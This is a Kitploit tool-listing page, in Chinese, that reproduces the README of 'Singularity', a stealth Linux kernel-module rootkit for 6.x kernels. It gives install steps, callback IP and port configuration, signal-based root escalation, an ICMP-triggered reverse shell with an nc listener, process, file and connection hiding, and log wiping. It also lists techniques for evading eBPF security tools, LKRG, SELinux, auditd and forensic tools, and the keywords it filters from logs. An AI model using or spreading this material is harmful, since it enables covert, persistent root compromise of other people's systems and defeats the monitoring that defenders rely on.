Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Singularity — 面向6.x内核的隐蔽Linux内核rootkit(LKM),具备高级进程/网络隐藏、权限提升,以及对eBPF安全工具、LKRG、SELinux和内存取证的综合规避能力。 | Kitploit
工具/GitHubGitHub/matheuzsecurity/singularity
权限提升
GitHubmatheuzsecurity/singularity

Singularity

面向6.x内核的隐蔽Linux内核rootkit(LKM),具备高级进程/网络隐藏、权限提升,以及对eBPF安全工具、LKRG、SELinux和内存取证的综合规避能力。

查看仓库
1.7k190218天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Singularity - 隐秘的Linux内核Rootkit

Singularity Rootkit

“给取证工作找点麻烦如何?”

本项目灵感来源于一位对我而言非常特别的女性:Mocinha

Singularity 是一款专为现代6.x内核设计的强大Linux内核模块(LKM)Rootkit。它通过ftrace基础设施实现高级系统调用劫持,提供全面的隐蔽能力。

完整研究文章(旧版):Singularity: 一个终局级Linux内核Rootkit

EDR逃逸案例研究:使用Singularity绕过Elastic EDR

演示视频:Singularity vs eBPF安全工具:Singularity vs eBPF安全工具

利用Singularity钩子攻破eBPF安全机制:攻破eBPF

什么是Singularity?

Singularity 是一款在内核层面运行的精巧Rootkit,提供以下功能:

  • 进程隐藏:使任意进程对系统完全不可见
  • 文件与目录隐藏:通过模式匹配隐藏文件
  • 网络隐蔽:隐藏TCP/UDP连接、端口及conntrack条目
  • 权限提升:基于信号的即时root权限获取
  • 日志清理:实时过滤内核日志与系统日志
  • 自身隐藏:从模块列表与系统监控中移除自身
  • 远程访问:ICMP触发的反向Shell,自动隐藏
  • 反检测:规避基于eBPF的运行时安全工具(Falco、Tracee)、绕过Linux内核运行时守护(LKRG)、阻止io_uring绕过尝试
  • 审计规避:在netlink层面丢弃隐藏进程的审计消息,具备统计跟踪与套接字inode过滤功能
  • 内存取证规避:过滤/proc/kcore、/proc/kallsyms、/proc/vmallocinfo
  • Cgroup过滤:从cgroup.procs中过滤隐藏进程PID
  • Syslog规避:钩取do_syslog以过滤klogctl()内核环形缓冲区访问
  • Debugfs规避:过滤debugfs等直接读取块设备的工具输出
  • Conntrack过滤:隐藏/proc/net/nf_conntrack及netlink SOCK_DIAG/NETFILTER查询中的连接
  • SELinux规避:ICMP触发时自动绕过SELinux强制模式
  • LKRG绕过:规避Linux内核运行时守护的检测机制
  • eBPF安全绕过:对基于eBPF的运行时安全工具(Falco、Tracee)隐藏进程

功能特性

  • 基于信号的权限提升(kill -59)
  • 从/proc及监控工具中彻底隐藏进程
  • 基于模式的文件系统隐藏(文件和目录)
  • 隐藏网络连接,规避netstat、ss、conntrack及数据包分析器
  • 高级netlink过滤(SOCK_DIAG、NETFILTER/conntrack消息)
  • 实时内核日志过滤(dmesg、journalctl、klogctl)
  • 模块自身隐藏,规避lsmod与/sys/module
  • 自动规范化内核污染标志
  • BPF数据过滤,防止基于eBPF的检测
  • io_uring防护,抵御异步I/O绕过
  • 日志掩码,屏蔽内核消息与系统日志
  • 规避标准Rootkit检测工具(unhide、chkrootkit、rkhunter)
  • 通过tracepoint钩子自动跟踪并隐藏子进程
  • 多架构支持(x64 + ia32)
  • 网络数据包级过滤,具备原始套接字保护
  • 防护所有文件I/O变体(read、write、splice、sendfile、tee、copy_file_range)
  • Netlink级审计消息过滤,附带统计跟踪以规避auditd检测
  • 套接字inode跟踪,实现全面网络隐藏
  • Cgroup PID过滤,防止通过/sys/fs/cgroup/*/cgroup.procs检测
  • TaskStats netlink阻塞,防止PID枚举
  • /proc/kcore过滤,规避内存取证工具(Volatility、crash、gdb)
  • do_syslog钩子,过滤klogctl()并防止内核环形缓冲区泄露
  • 块设备输出过滤,规避debugfs等磁盘取证工具
  • 通过write钩子过滤journalctl -k输出
  • ICMP触发Shell的SELinux强制模式绕过能力
  • 隐藏进程的LKRG完整性检查绕过
  • 通过BPF环形缓冲区和perf事件拦截实现Falco事件隐藏

安装

前置条件

  • Linux内核6.x
  • 当前运行内核的内核头文件
  • GCC和Make
  • root权限

快速安装```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

就这样。该模块自动:
- 从 lsmod、/proc/modules、/sys/module 中隐藏自身
- 清除内核污染标志
- 从 dmesg、journalctl -k、klogctl 中过滤敏感字符串
- 开始保护您的隐藏文件和进程

### 重要说明

**模块在加载后自动隐藏自身**

**没有卸载功能——需要重启才能移除**

**先在虚拟机中测试——不重启无法移除**

## 配置

### 设置您的服务器 IP 和端口

**编辑 `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

编辑 modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**编辑 `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

编辑 modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

**重要**:所有端口定义必须匹配,以确保正确的网络隐藏和ICMP反向shell功能。

## 使用方法

### 隐藏进程```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

进程将对 ps、top、htop、/proc 以及所有监控工具不可见。所有子进程都会被自动追踪并隐藏。

隐藏文件与目录

匹配您配置模式的文件会被自动隐藏:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### 成为Root

**基于信号的方法:**```bash
kill -59 $$
id  # uid=0(root)

隐藏网络连接

您配置的端口(默认:8081)上的连接会自动隐藏:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

数据包在原始套接字级别(tpacket_rcv)被丢弃,并隐藏于以下位置:
- /proc/net/* 接口(tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG 查询(用于 ss, lsof)
- Netlink NETFILTER/conntrack 消息(用于 conntrack 工具)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP 反向 Shell

远程触发隐藏的反向 Shell,自动绕过 SELinux:

**1. 启动监听器:**```bash
nc -lvnp 8081  # Use your configured port

2. 发送ICMP触发器:```bash sudo python3 scripts/trigger.py <target_ip>

**3. 获取 root shell**(自动隐藏所有子进程,若 SELinux 处于强制模式则绕过)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## 保护机制

### Ftrace 控制保护

所有禁用 ftrace 的尝试都会被静默拦截并阻止:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

受保护的系统调用:write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter(具有基于每个 PID 的智能缓存)

BPF 系统调用过滤

bpf_hook.c 模块实现了一种复杂的反检测系统,用于对抗基于 eBPF 的安全工具。它并非完全阻止 BPF 系统调用(这会产生检测指纹),而是有选择地在内核层面过滤数据,使隐藏的进程和连接对 eBPF 程序不可见。

策略:拦截 eBPF 程序用于数据收集和报告的函数,而非 BPF 系统调用本身。这允许合法的 eBPF 工具正常运行,同时阻止它们看到隐藏的资源。

受保护的资源:

  • 隐藏进程及其整个进程树(最多 10 层父级)
  • 配置端口(默认:8081)或配置 IP 地址上的网络连接
  • 与隐藏进程关联的套接字 inode

拦截点:

  • 迭代器执行(进程/套接字枚举)
  • 环形缓冲区操作(事件提交到用户空间)
  • BPF 映射操作(PID 查找与插入)
  • Perf 事件输出(传统 eBPF 事件传递)
  • Seq 文件写入(输出格式化)
  • 程序执行(基于上下文的过滤)

这种方法可击败 eBPF 安全工具,且不会触发因完全阻止 BPF 操作而可能产生的警报。

io_uring 保护

在 ftrace_enabled 和 tracing_on 尝试中,针对 io_uring 绕过进行保护,并带有智能缓存(每个 PID 1 秒缓存,以防止重复的进程扫描并减少开销)

日志清理

对所有内核日志接口中的敏感字符串进行实时过滤:

接口钩子状态
dmesg读取钩子(位于 /proc/kmsg)已过滤
journalctl -k写入钩子(输出过滤)已过滤
klogctl() / syslog()do_syslog 钩子已过滤
/sys/kernel/debug/tracing/*读取钩子已过滤
/var/log/kern.log, syslog, auth.log读取钩子已过滤
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo读取钩子已过滤
/proc/net/nf_conntrack读取钩子已过滤

过滤关键词:taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

注意:隐藏 PID 的审计消息会在 netlink 层面丢弃,并带有统计跟踪(get_blocked_audit_count, get_total_audit_count)

磁盘取证规避

Singularity 挂钩 write 系统调用,以检测并过滤来自磁盘取证工具的输出:

工作原理:

  1. 检测进程是否打开了块设备(/dev/sda, /dev/nvme0n1 等)
  2. 检测类 debugfs 的输出模式(inode 列表、文件系统元数据)
  3. 就地清理隐藏模式(用空格替换以保持缓冲区大小/校验和)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

**检测到的模式:**
- `debugfs:` 前缀
- 带括号的 inode 列表
- `Inode count:`、`Block count:`、`Filesystem volume name:`
- `Filesystem UUID:`、`e2fsck`、`Inode:`

### 进程隐藏实现
下载工具